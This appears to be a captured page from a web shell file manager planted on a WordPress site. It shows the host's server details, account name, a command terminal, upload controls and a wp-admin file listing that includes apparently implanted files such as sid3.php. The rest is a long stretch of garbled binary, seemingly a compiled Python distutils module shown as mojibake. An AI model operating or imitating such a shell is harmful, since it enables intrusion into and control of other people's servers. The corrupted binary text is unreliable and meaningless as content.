✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 \7¹ã@sÆdZddlZddlZddlZddlTddlmZddlmZddl m Z ddl m Z m Z ddlmZmZdd lmZGd d „d ƒZd-Zd.dd„Zd/d0d1d2d3d!œZd"d#„Zd4d$d%„Zd&d'„Zd(d)„ZdS)5zˆdistutils.ccompiler Contains CCompiler, an abstract base class that defines the interface for the Distutils compiler abstraction model.éN)Ú*)Úspawn)Ú move_file)Úmkpath)Únewer_pairwiseÚ newer_group)Ú split_quotedÚexecute)Úlogc @seZdZdZdZdZdZdZdZdZ dZ dZ ddddddœZ dddgZ dqdd „Zd d „Zd d „Zdd„Zdd„Zdrdd„Zdd„Zdd„Zdd„Zdd„Zdd„Zdd„Zd d!„Zd"d#„Zd$d%„Zd&d'„Zd(d)„Zd*d+„Zd,d-„Z d.d/„Z!dsd0d1„Z"d2d3„Z#d4d5„Z$d6d7„Z%d8d9„Z&dtd:d;„Z'dudd?„Z)dvd@dA„Z*dBZ+dCZ,dDZ-dwdEdF„Z.dxdGdH„Z/dydIdJ„Z0dzdKdL„Z1dMdN„Z2dOdP„Z3dQdR„Z4d{dSdT„Z5d|dUdV„Z6d}dXdY„Z7d~dZd[„Z8dd\d]„Z9d€d_d`„Z:d�dbdc„Z;ddde„Zdjdk„Z?dldm„Z@dƒdodp„ZAdS)„Ú CCompileraŸAbstract base class to define the interface that must be implemented by real compiler classes. Also has some utility methods used by several compiler classes. The basic idea behind a compiler abstraction class is that each instance can be used for all the compile/link steps in building a single project. Thus, attributes common to all of those compile and link steps -- include directories, macros to define, libraries to link against, etc. -- are attributes of the compiler instance. To allow for variability in how individual files are treated, most of those attributes may be varied on a per-compilation or per-link basis. NÚczc++Zobjc)z.cz.ccz.cppz.cxxz.mrcCsf||_||_||_d|_g|_g|_g|_g|_g|_g|_ x$|j j ƒD]}|j ||j |ƒqHWdS)N) Údry_runÚforceÚverboseÚ output_dirÚmacrosÚ include_dirsÚ librariesÚ library_dirsÚruntime_library_dirsÚobjectsÚ executablesÚkeysÚset_executable)Úselfrr rÚkey©rú+/usr/lib64/python3.6/distutils/ccompiler.pyÚ__init__UszCCompiler.__init__cKs@x:|D]2}||jkr(td||jjfƒ‚|j|||ƒqWdS)a‹Define the executables (and options for them) that will be run to perform the various stages of compilation. The exact set of executables that may be specified here depends on the compiler class (via the 'executables' class attribute), but most will have: compiler the C/C++ compiler linker_so linker used to create shared objects and libraries linker_exe linker used to create binary executables archiver static library creator On platforms with a command-line (Unix, DOS/Windows), each of these is a string that will be split into executable name and (optional) list of arguments. (Splitting the string is done similarly to how Unix shells operate: words are delimited by spaces, but quotes and backslashes can override this. See 'distutils.util.split_quoted()'.) z$unknown executable '%s' for class %sN)rÚ ValueErrorÚ __class__Ú__name__r)rÚkwargsrrrrÚset_executablesys   zCCompiler.set_executablescCs,t|tƒrt||t|ƒƒn t|||ƒdS)N)Ú isinstanceÚstrÚsetattrr)rrÚvaluerrrr™s zCCompiler.set_executablecCs0d}x&|jD]}|d|kr |S|d7}q WdS)Nré)r)rÚnameÚiÚdefnrrrÚ _find_macroŸs    zCCompiler._find_macrocCsdx^|D]V}t|tƒoFt|ƒdkoFt|dtƒs:|ddkoFt|dtƒstd|ddƒ‚qWdS) z×Ensures that every element of 'definitions' is a valid macro definition, ie. either (name,value) 2-tuple or a (name,) tuple. Do nothing if all definitions are OK, raise TypeError otherwise. r(éNrzinvalid macro definition '%s': z.must be tuple (string,), (string, string), or z(string, None))r(r-)r$ÚtupleÚlenr%Ú TypeError)rZ definitionsr+rrrÚ_check_macro_definitions§s    z"CCompiler._check_macro_definitionscCs.|j|ƒ}|dk r|j|=|jj||fƒdS)a_Define a preprocessor macro for all compilations driven by this compiler object. The optional parameter 'value' should be a string; if it is not supplied, then the macro will be defined without an explicit value and the exact outcome depends on the compiler used (XXX true? does ANSI say anything about this?) N)r,rÚappend)rr)r'r*rrrÚ define_macro¸s zCCompiler.define_macrocCs0|j|ƒ}|dk r|j|=|f}|jj|ƒdS)a³Undefine a preprocessor macro for all compilations driven by this compiler object. If the same macro is defined by 'define_macro()' and undefined by 'undefine_macro()' the last call takes precedence (including multiple redefinitions or undefinitions). If the macro is redefined/undefined on a per-compilation basis (ie. in the call to 'compile()'), then that takes precedence. N)r,rr2)rr)r*ZundefnrrrÚundefine_macroÇs zCCompiler.undefine_macrocCs|jj|ƒdS)zóAdd 'dir' to the list of directories that will be searched for header files. The compiler is instructed to search directories in the order in which they are supplied by successive calls to 'add_include_dir()'. N)rr2)rÚdirrrrÚadd_include_dirÙszCCompiler.add_include_dircCs|dd…|_dS)aySet the list of directories that will be searched to 'dirs' (a list of strings). Overrides any preceding calls to 'add_include_dir()'; subsequence calls to 'add_include_dir()' add to the list passed to 'set_include_dirs()'. This does not affect any list of standard include directories that the compiler may search by default. N)r)rÚdirsrrrÚset_include_dirsászCCompiler.set_include_dirscCs|jj|ƒdS)a¿Add 'libname' to the list of libraries that will be included in all links driven by this compiler object. Note that 'libname' should *not* be the name of a file containing a library, but the name of the library itself: the actual filename will be inferred by the linker, the compiler, or the compiler class (depending on the platform). The linker will be instructed to link against libraries in the order they were supplied to 'add_library()' and/or 'set_libraries()'. It is perfectly valid to duplicate library names; the linker will be instructed to link against libraries as many times as they are mentioned. N)rr2)rÚlibnamerrrÚ add_libraryëszCCompiler.add_librarycCs|dd…|_dS)zôSet the list of libraries to be included in all links driven by this compiler object to 'libnames' (a list of strings). This does not affect any standard system libraries that the linker may include by default. N)r)rZlibnamesrrrÚ set_librariesûszCCompiler.set_librariescCs|jj|ƒdS)a'Add 'dir' to the list of directories that will be searched for libraries specified to 'add_library()' and 'set_libraries()'. The linker will be instructed to search for libraries in the order they are supplied to 'add_library_dir()' and/or 'set_library_dirs()'. N)rr2)rr5rrrÚadd_library_dirszCCompiler.add_library_dircCs|dd…|_dS)zÀSet the list of library search directories to 'dirs' (a list of strings). This does not affect any standard library search path that the linker may search by default. N)r)rr7rrrÚset_library_dirs szCCompiler.set_library_dirscCs|jj|ƒdS)zlAdd 'dir' to the list of directories that will be searched for shared libraries at runtime. N)rr2)rr5rrrÚadd_runtime_library_dirsz!CCompiler.add_runtime_library_dircCs|dd…|_dS)zãSet the list of directories to search for shared libraries at runtime to 'dirs' (a list of strings). This does not affect any standard search path that the runtime linker may search by default. N)r)rr7rrrÚset_runtime_library_dirssz"CCompiler.set_runtime_library_dirscCs|jj|ƒdS)zãAdd 'object' to the list of object files (or analogues, such as explicitly named library files or the output of "resource compilers") to be included in every link driven by this compiler object. N)rr2)rÚobjectrrrÚadd_link_object szCCompiler.add_link_objectcCs|dd…|_dS)zêSet the list of object files (or analogues) to be included in every link to 'objects'. This does not affect any standard object files that the linker may include by default (such as system libraries). N)r)rrrrrÚset_link_objects(szCCompiler.set_link_objectscCs.|dkr|j}nt|tƒs"tdƒ‚|dkr2|j}n"t|tƒrL||jpFg}ntdƒ‚|dkrd|j}n*t|ttfƒr†t|ƒ|jp€g}ntdƒ‚|dkršg}|j|d|d�}t |ƒt |ƒks¾t ‚t ||ƒ}i} xRt t |ƒƒD]B} || } || } t jj| ƒd} |jt jj| ƒƒ| | f| | <qÚW||||| fS)z;Process arguments and decide which source files to compile.Nz%'output_dir' must be a string or Nonez/'macros' (if supplied) must be a list of tuplesz6'include_dirs' (if supplied) must be a list of stringsr)Ú strip_dirrr()rr$r%r0rÚlistrr.Úobject_filenamesr/ÚAssertionErrorÚgen_preprocess_optionsÚrangeÚosÚpathÚsplitextrÚdirname)rZoutdirrZincdirsÚsourcesÚdependsZextrarÚpp_optsÚbuildr*ÚsrcÚobjÚextrrrÚ_setup_compile6s:   zCCompiler._setup_compilecCs0|dg}|rdg|dd…<|r,||dd…<|S)Nz-cz-grr)rrOÚdebugZbeforeÚcc_argsrrrÚ _get_cc_argsas   zCCompiler._get_cc_argscCs˜|dkr|j}nt|tƒs"tdƒ‚|dkr2|j}n"t|tƒrL||jpFg}ntdƒ‚|dkrd|j}n*t|ttfƒr†t|ƒ|jp€g}ntdƒ‚|||fS)a'Typecheck and fix-up some of the arguments to the 'compile()' method, and return fixed-up values. Specifically: if 'output_dir' is None, replaces it with 'self.output_dir'; ensures that 'macros' is a list, and augments it with 'self.macros'; ensures that 'include_dirs' is a list, and augments it with 'self.include_dirs'. Guarantees that the returned values are of the correct type, i.e. for 'output_dir' either string or None, and for 'macros' and 'include_dirs' either list or None. Nz%'output_dir' must be a string or Nonez/'macros' (if supplied) must be a list of tuplesz6'include_dirs' (if supplied) must be a list of strings)rr$r%r0rrDrr.)rrrrrrrÚ_fix_compile_argsjs   zCCompiler._fix_compile_argscCs*|j||d�}t|ƒt|ƒks"t‚|ifS)a+Decide which souce files must be recompiled. Determine the list of object files corresponding to 'sources', and figure out which ones really need to be recompiled. Return a list of all object files and a dictionary telling which source files can be skipped. )r)rEr/rF)rrMrrNrrrrÚ _prep_compileŠs zCCompiler._prep_compilecCsHt|ttfƒstdƒ‚t|ƒ}|dkr.|j}nt|tƒs@tdƒ‚||fS)zûTypecheck and fix up some arguments supplied to various methods. Specifically: ensure that 'objects' is a list; if output_dir is None, replace with self.output_dir. Return fixed versions of 'objects' and 'output_dir'. z,'objects' must be a list or tuple of stringsNz%'output_dir' must be a string or None)r$rDr.r0rr%)rrrrrrÚ_fix_object_argsšs zCCompiler._fix_object_argscCs¸|dkr|j}n*t|ttfƒr2t|ƒ|jp,g}ntdƒ‚|dkrJ|j}n*t|ttfƒrlt|ƒ|jpfg}ntdƒ‚|dkr„|j}n*t|ttfƒr¦t|ƒ|jp g}ntdƒ‚|||fS)a;Typecheck and fix up some of the arguments supplied to the 'link_*' methods. Specifically: ensure that all arguments are lists, and augment them with their permanent versions (eg. 'self.libraries' augments 'libraries'). Return a tuple with fixed versions of all arguments. Nz3'libraries' (if supplied) must be a list of stringsz6'library_dirs' (if supplied) must be a list of stringsz>'runtime_library_dirs' (if supplied) must be a list of strings)rr$rDr.r0rr)rrrrrrrÚ _fix_lib_args«s&zCCompiler._fix_lib_argscCs2|jr dS|jr t||dd�}n t||ƒ}|SdS)zjReturn true if we need to relink the files listed in 'objects' to recreate 'output_file'. TÚnewer)ZmissingN)rr r)rrÚ output_filer\rrrÚ _need_linkÍs  zCCompiler._need_linkc Cs‚t|tƒs|g}d}t|jƒ}x^|D]V}tjj|ƒ\}}|jj|ƒ}y |jj |ƒ}||krb|}|}Wq$t k rxYq$Xq$W|S)z|Detect the language of a given file, or list of files. Uses language_map, and language_order to do the job. N) r$rDr/Úlanguage_orderrIrJrKÚ language_mapÚgetÚindexr) rrMZlangrbÚsourceÚbaserSZextlangZextindexrrrÚdetect_languageÚs      zCCompiler.detect_languagecCsdS)aÕPreprocess a single C/C++ source file, named in 'source'. Output will be written to file named 'output_file', or stdout if 'output_file' not supplied. 'macros' is a list of macro definitions as for 'compile()', which will augment the macros set with 'define_macro()' and 'undefine_macro()'. 'include_dirs' is a list of directory names that will be added to the default list. Raises PreprocessError on failure. Nr)rrcr]rrÚ extra_preargsÚextra_postargsrrrÚ preprocessòs zCCompiler.preprocessc Csz|j||||||ƒ\}} }} } |j| ||ƒ} xH| D]@} y| | \}}Wntk r\w2YnX|j| ||| || ƒq2W| S)aK Compile one or more source files. 'sources' must be a list of filenames, most likely C/C++ files, but in reality anything that can be handled by a particular compiler and compiler class (eg. MSVCCompiler can handle resource files in 'sources'). Return a list of object filenames, one per source filename in 'sources'. Depending on the implementation, not all source files will necessarily be compiled, but all corresponding object filenames will be returned. If 'output_dir' is given, object files will be put under it, while retaining their original path component. That is, "foo/bar.c" normally compiles to "foo/bar.o" (for a Unix implementation); if 'output_dir' is "build", then it would compile to "build/foo/bar.o". 'macros', if given, must be a list of macro definitions. A macro definition is either a (name, value) 2-tuple or a (name,) 1-tuple. The former defines a macro; if the value is None, the macro is defined without an explicit value. The 1-tuple case undefines a macro. Later definitions/redefinitions/ undefinitions take precedence. 'include_dirs', if given, must be a list of strings, the directories to add to the default include file search path for this compilation only. 'debug' is a boolean; if true, the compiler will be instructed to output debug symbols in (or alongside) the object file(s). 'extra_preargs' and 'extra_postargs' are implementation- dependent. On platforms that have the notion of a command-line (e.g. Unix, DOS/Windows), they are most likely lists of strings: extra command-line arguments to prepand/append to the compiler command line. On other platforms, consult the implementation class documentation. In any event, they are intended as an escape hatch for those occasions when the abstract compiler framework doesn't cut the mustard. 'depends', if given, is a list of filenames that all targets depend on. If a source file is older than any file in depends, then the source file will be recompiled. This supports dependency tracking, but only at a coarse granularity. Raises CompileError on failure. )rTrWÚKeyErrorÚ_compile)rrMrrrrUrfrgrNrrOrPrVrRrQrSrrrÚcompileÿs6  zCCompiler.compilecCsdS)zCompile 'src' to product 'obj'.Nr)rrRrQrSrVrgrOrrrrjCszCCompiler._compilecCsdS)a&Link a bunch of stuff together to create a static library file. The "bunch of stuff" consists of the list of object files supplied as 'objects', the extra object files supplied to 'add_link_object()' and/or 'set_link_objects()', the libraries supplied to 'add_library()' and/or 'set_libraries()', and the libraries supplied as 'libraries' (if any). 'output_libname' should be a library name, not a filename; the filename will be inferred from the library name. 'output_dir' is the directory where the library file will be put. 'debug' is a boolean; if true, debugging information will be included in the library (note that on most platforms, it is the compile step where this matters: the 'debug' flag is included here just for consistency). 'target_lang' is the target language for which the given objects are being compiled. This allows specific linkage time treatment of certain languages. Raises LibError on failure. Nr)rrÚoutput_libnamerrUÚ target_langrrrÚcreate_static_libIszCCompiler.create_static_libZ shared_objectZshared_libraryÚ executablecCst‚dS)auLink a bunch of stuff together to create an executable or shared library file. The "bunch of stuff" consists of the list of object files supplied as 'objects'. 'output_filename' should be a filename. If 'output_dir' is supplied, 'output_filename' is relative to it (i.e. 'output_filename' can provide directory components if needed). 'libraries' is a list of libraries to link against. These are library names, not filenames, since they're translated into filenames in a platform-specific way (eg. "foo" becomes "libfoo.a" on Unix and "foo.lib" on DOS/Windows). However, they can include a directory component, which means the linker will look in that specific directory rather than searching all the normal locations. 'library_dirs', if supplied, should be a list of directories to search for libraries that were specified as bare library names (ie. no directory component). These are on top of the system default and those supplied to 'add_library_dir()' and/or 'set_library_dirs()'. 'runtime_library_dirs' is a list of directories that will be embedded into the shared library and used to search for other shared libraries that *it* depends on at run-time. (This may only be relevant on Unix.) 'export_symbols' is a list of symbols that the shared library will export. (This appears to be relevant only on Windows.) 'debug' is as for 'compile()' and 'create_static_lib()', with the slight distinction that it actually matters on most platforms (as opposed to 'create_static_lib()', which includes a 'debug' flag mostly for form's sake). 'extra_preargs' and 'extra_postargs' are as for 'compile()' (except of course that they supply command-line arguments for the particular linker being used). 'target_lang' is the target language for which the given objects are being compiled. This allows specific linkage time treatment of certain languages. Raises LinkError on failure. N)ÚNotImplementedError)rZ target_descrÚoutput_filenamerrrrÚexport_symbolsrUrfrgÚ build_temprmrrrÚlinkis9zCCompiler.linkc Cs2|jtj||j|dd�||||||| | | | ƒ dS)NÚshared)Úlib_type)rtr ÚSHARED_LIBRARYÚlibrary_filename) rrrlrrrrrrrUrfrgrsrmrrrÚlink_shared_lib§s  zCCompiler.link_shared_libc Cs(|jtj||||||||| | | | ƒ dS)N)rtr Ú SHARED_OBJECT) rrrqrrrrrrrUrfrgrsrmrrrÚlink_shared_object¼s zCCompiler.link_shared_objectc Cs.|jtj||j|ƒ||||d||| d| ƒ dS)N)rtr Ú EXECUTABLEÚexecutable_filename) rrZoutput_prognamerrrrrUrfrgrmrrrÚlink_executableÐs  zCCompiler.link_executablecCst‚dS)zkReturn the compiler option to add 'dir' to the list of directories searched for libraries. N)rp)rr5rrrÚlibrary_dir_optionæszCCompiler.library_dir_optioncCst‚dS)zsReturn the compiler option to add 'dir' to the list of directories searched for runtime libraries. N)rp)rr5rrrÚruntime_library_dir_optionìsz$CCompiler.runtime_library_dir_optioncCst‚dS)zReturn the compiler option to add 'lib' to the list of libraries linked into the shared library or executable. N)rp)rÚlibrrrÚlibrary_optionòszCCompiler.library_optionc Csðddl}|dkrg}|dkr g}|dkr,g}|dkr8g}|jd|dd�\}}tj|dƒ} z.x|D]} | jd| ƒq`W| jd|ƒWd| jƒXy|j|g|d �} Wntk rºd SXy|j| d ||d �Wnt t fk rêd SXdS) z·Return a boolean indicating whether funcname is supported on the current platform. The optional arguments can be used to augment the compilation environment. rNz.cT)ÚtextÚwz#include "%s" z+main (int argc, char **argv) { %s(); } )rFza.out)rr) ÚtempfileZmkstemprIÚfdopenÚwriteÚcloserkZ CompileErrorr~Z LinkErrorr0) rÚfuncnameZincludesrrrr…ÚfdZfnameÚfZinclrrrrÚ has_functionøs8     zCCompiler.has_functioncCst‚dS)aHSearch the specified list of directories for a static or shared library file 'lib' and return the full path to that file. If 'debug' true, look for a debugging version (if that makes sense on the current platform). Return None if 'lib' wasn't found in any of the specified directories. N)rp)rr7r�rUrrrÚfind_library_file#szCCompiler.find_library_fileÚcCsš|dkr d}g}x„|D]|}tjj|ƒ\}}tjj|ƒd}|tjj|ƒd…}||jkrhtd||fƒ‚|rxtjj|ƒ}|jtjj |||j ƒƒqW|S)NrŽr(z"unknown file type '%s' (from '%s')) rIrJrKÚ splitdriveÚisabsÚsrc_extensionsZUnknownFileErrorÚbasenamer2ÚjoinÚ obj_extension)rZsource_filenamesrCrZ obj_namesZsrc_namerdrSrrrrENs    zCCompiler.object_filenamescCs0|dk s t‚|rtjj|ƒ}tjj|||jƒS)N)rFrIrJr’r“Úshared_lib_extension)rr’rCrrrrÚshared_object_filename_s  z CCompiler.shared_object_filenamecCs4|dk s t‚|rtjj|ƒ}tjj|||jp.dƒS)NrŽ)rFrIrJr’r“Ú exe_extension)rr’rCrrrrr}es  zCCompiler.executable_filenameÚstaticc Csl|dk s t‚|d krtdƒ‚t||dƒ}t||dƒ}tjj|ƒ\}}|||f} |r\d}tjj||| ƒS) Nr˜ruÚdylibÚ xcode_stubz?'lib_type' must be "static", "shared", "dylib", or "xcode_stub"Z _lib_formatZ_lib_extensionrŽ)r˜rur™rš)rFrÚgetattrrIrJÚsplitr“) rr9rvrCrZfmtrSr5rdÚfilenamerrrrxks  zCCompiler.library_filenamer(cCstj|ƒdS)N)r rU)rÚmsgÚlevelrrrÚannounce~szCCompiler.announcecCsddlm}|rt|ƒdS)Nr)ÚDEBUG)Zdistutils.debugr¡Úprint)rržr¡rrrÚ debug_print�s zCCompiler.debug_printcCstjjd|ƒdS)Nz warning: %s )ÚsysÚstderrr‡)rržrrrÚwarn†szCCompiler.warncCst||||jƒdS)N)r r )rÚfuncÚargsržrŸrrrr ‰szCCompiler.executecCst||jd�dS)N)r )rr )rÚcmdrrrrŒszCCompiler.spawncCst|||jd�S)N)r )rr )rrQÚdstrrrr�szCCompiler.move_fileéÿcCst|||jd�dS)N)r )rr )rr)Úmoderrrr’szCCompiler.mkpath)rrr)N)N)NNNNN)NNNrNNN)NrN) NNNNNrNNNN) NNNNNrNNNN) NNNNNrNNNN)NNNNrNNN)NNNN)r)rrŽ)rrŽ)rrŽ)r˜rrŽ)r()Nr()r«)Br!Ú __module__Ú __qualname__Ú__doc__Z compiler_typer‘r”Zstatic_lib_extensionr•Zstatic_lib_formatZshared_lib_formatr—r`r_rr#rr,r1r3r4r6r8r:r;r<r=r>r?rArBrTrWrXrYrZr[r^rerhrkrjrnrzrwr|rtryr{r~rr€r‚rŒr�rEr–r}rxr r£r¦r rrrrrrrr sÖ    $   +  "   B  4    * +      r úcygwin.*ÚunixÚposixÚntÚmsvccCsV|dkrtj}|dkrtj}x4tD],\}}tj||ƒdk sJtj||ƒdk r"|Sq"WdS)akDetermine the default compiler to use for the given platform. osname should be one of the standard Python OS names (i.e. the ones returned by os.name) and platform the common value returned by sys.platform for the platform in question. The default values are os.name and sys.platform in case the parameters are not given. Nr±)rIr)r¤ÚplatformÚ_default_compilersÚreÚmatch)ÚosnamerµÚpatternÚcompilerrrrÚget_default_compiler¨s r¼Ú unixccompilerÚ UnixCCompilerústandard UNIX-style compilerÚ _msvccompilerÚ MSVCCompilerúMicrosoft Visual C++ÚcygwinccompilerÚCygwinCCompilerú'Cygwin port of GNU C Compiler for Win32ÚMingw32CCompilerú(Mingw32 port of GNU C Compiler for Win32Ú bcppcompilerÚ BCPPCompilerúBorland C++ Compiler)r±r´ÚcygwinZmingw32ZbcppcCs\ddlm}g}x,tjƒD] }|jd|dt|dfƒqW|jƒ||ƒ}|jdƒdS)zyPrint list of available compilers (used by the "--help-compiler" options to "build", "build_ext", "build_clib"). r)Ú FancyGetoptz compiler=Nr-zList of available compilers:)Zdistutils.fancy_getoptrÌÚcompiler_classrr2ÚsortZ print_help)rÌZ compilersr»Zpretty_printerrrrÚshow_compilersÌs  rÏc Csä|dkrtj}y"|dkr t|ƒ}t|\}}}Wn8tk rhd|}|dk r\|d|}t|ƒ‚YnXy*d|}t|ƒtj|} t | ƒ|} WnBt k r´t d|ƒ‚Yn$tk rÖt d||fƒ‚YnX| d||ƒS)a[Generate an instance of some CCompiler subclass for the supplied platform/compiler combination. 'plat' defaults to 'os.name' (eg. 'posix', 'nt'), and 'compiler' defaults to the default compiler for that platform. Currently only 'posix' and 'nt' are supported, and the default compilers are "traditional Unix interface" (UnixCCompiler class) and Visual C++ (MSVCCompiler class). Note that it's perfectly possible to ask for a Unix compiler object under Windows, and a Microsoft compiler object under Unix -- if you supply a value for 'compiler', 'plat' is ignored. Nz5don't know how to compile C/C++ code on platform '%s'z with '%s' compilerz distutils.z4can't compile C/C++ code: unable to load module '%s'zBcan't compile C/C++ code: unable to find class '%s' in module '%s') rIr)r¼rÍriZDistutilsPlatformErrorÚ __import__r¤ÚmodulesÚvarsÚ ImportErrorZDistutilsModuleError) Zplatr»rr rZ module_nameÚ class_nameZlong_descriptionržÚmoduleÚklassrrrÚ new_compilerÝs2    r×cCs¾g}x˜|D]�}t|tƒo2dt|ƒko.dkns@td|ƒ‚t|ƒdkr`|jd|dƒq t|ƒdkr |ddkrŒ|jd|dƒq |jd|ƒq Wx|D]}|jd |ƒq¤W|S) aGenerate C pre-processor options (-D, -U, -I) as used by at least two types of compilers: the typical Unix compiler and Visual C++. 'macros' is the usual thing, a list of 1- or 2-tuples, where (name,) means undefine (-U) macro 'name', and (name,value) means define (-D) macro 'name' to 'value'. 'include_dirs' is just a list of directory names to be added to the header file search path (-I). Returns a list of command-line options suitable for either Unix compilers or Visual C++. r(r-zPbad macro definition '%s': each element of 'macros' list must be a 1- or 2-tuplez-U%srNz-D%sz-D%s=%sz-I%s)r$r.r/r0r2)rrrOZmacror5rrrrG s &    rGc Cs¼g}x|D]}|j|j|ƒƒq Wx4|D],}|j|ƒ}t|tƒrJ||}q(|j|ƒq(Wx^|D]V}tjj|ƒ\}} |r¤|j|g| ƒ} | r”|j| ƒq´|j d|ƒq^|j|j |ƒƒq^W|S)acGenerate linker options for searching library directories and linking with specific libraries. 'libraries' and 'library_dirs' are, respectively, lists of library names (not filenames!) and search directories. Returns a list of command-line options suitable for use with some compiler (depending on the two format strings passed in). z6no library file corresponding to '%s' found (skipping)) r2rr€r$rDrIrJrœr�r¦r‚) r»rrrZlib_optsr5Úoptr�Zlib_dirZlib_nameZlib_filerrrÚgen_lib_options7s$        rÙ©r°r±©r²r±©r³r´)rÚrÛrÜ)NN)r½r¾r¿)rÀrÁrÂ)rÃrÄrÅ)rÃrÆrÇ)rÈrÉrÊ)NNrrr)r¯r¤rIr·Zdistutils.errorsZdistutils.spawnrZdistutils.file_utilrZdistutils.dir_utilrZdistutils.dep_utilrrZdistutils.utilrr Z distutilsr r r¶r¼rÍrÏr×rGrÙrrrrÚsD      --